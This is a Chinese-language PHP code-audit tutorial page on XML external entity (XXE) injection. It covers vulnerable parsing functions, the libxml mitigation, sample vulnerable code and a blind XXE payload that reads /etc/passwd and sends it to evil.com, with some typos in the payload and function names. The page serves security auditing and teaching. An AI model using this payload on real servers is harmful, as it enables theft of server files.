代码审计
PHP
前期准备
SQL注入篇
文件操作函数汇总
命令执行篇
XML实体注入篇
前端漏洞篇
反序列化篇
小技巧篇
其它资料
本文档使用 MrDoc 发布
-
+
首页
XML实体注入篇
# XML实体注入篇 ### PHP XML实体注入现状 - PHP XML解析函数 - simplexml_load_file - simplexml_load_string - SimpleXMLElement - DOMDocument - xml_parse - 这些函数一定可以解析XML,只要有这四个函数的地方,大概率有XML实体注入。 - 用户可控 xml - PHP中XXE漏洞逐渐减少 - PHP XML操作以来libxml库 - libxml2.9.0默认关闭XML外部实体解析开关。 ### XML过滤 - libxml_disable_entity_loaded(true); - 用这个函数来禁用掉外部实体的加载。 ```php <?php libxml_disable_entity_loader(true); simplexml_load_file('php://input'); // 这样实际就没有了xml注入 ?> ``` - 虽然使用的libxml2.9.0默认关闭了,但似乎在审计的时候也可以关注一下,因为有的系统的libxml版本较低。 - 这个漏洞优先级比较低。 ### 怎么挖掘XML实体注入(XXE)漏洞? - 暴力搜索 - libxml_disable_entity_loader - 前面的几个xml函数 - 核心代码 ```php $data = file_get_content('php://input'); $object = simplexml_load_string($data); // ... echo $object->name; ``` - 直接利用XXE读取任意文件 ### XML实体注入案例 - 无输入点的XXE漏洞如何挖掘和利用? - 核心代码 ```php $data = file_get_contents('php://input'); $object = simplexml_load_string($data); if (!$db->login($object->name,$object->pass)){ die("403 error"); } ``` - 常见于需要权限验证的Web应用中 - Z-BLOG Blind-XXE造成的任意文件读取 > https://bugs.leavesongs.com/php/z-blog-blind-xxe%E9%80%A0%E6%88%90%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/ - Blind XXE原理 - 利用XML外部实体功能读取文件 - 利用XML外部实体功能发送HTTP请求 - 利用HTTP协议传递文件内容核心Payload - 核心 Payload ``` <!ENTITY % payload SYSTEM "php://filter/read=file:///etc/passwd"> <!ENTITY % int "<!ENTITY %trick SYSTEM 'http://evil.com/%payload;'>"> %int; %tick; ```
别卷了
2024年9月29日 17:30
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
分享
链接
类型
密码
更新密码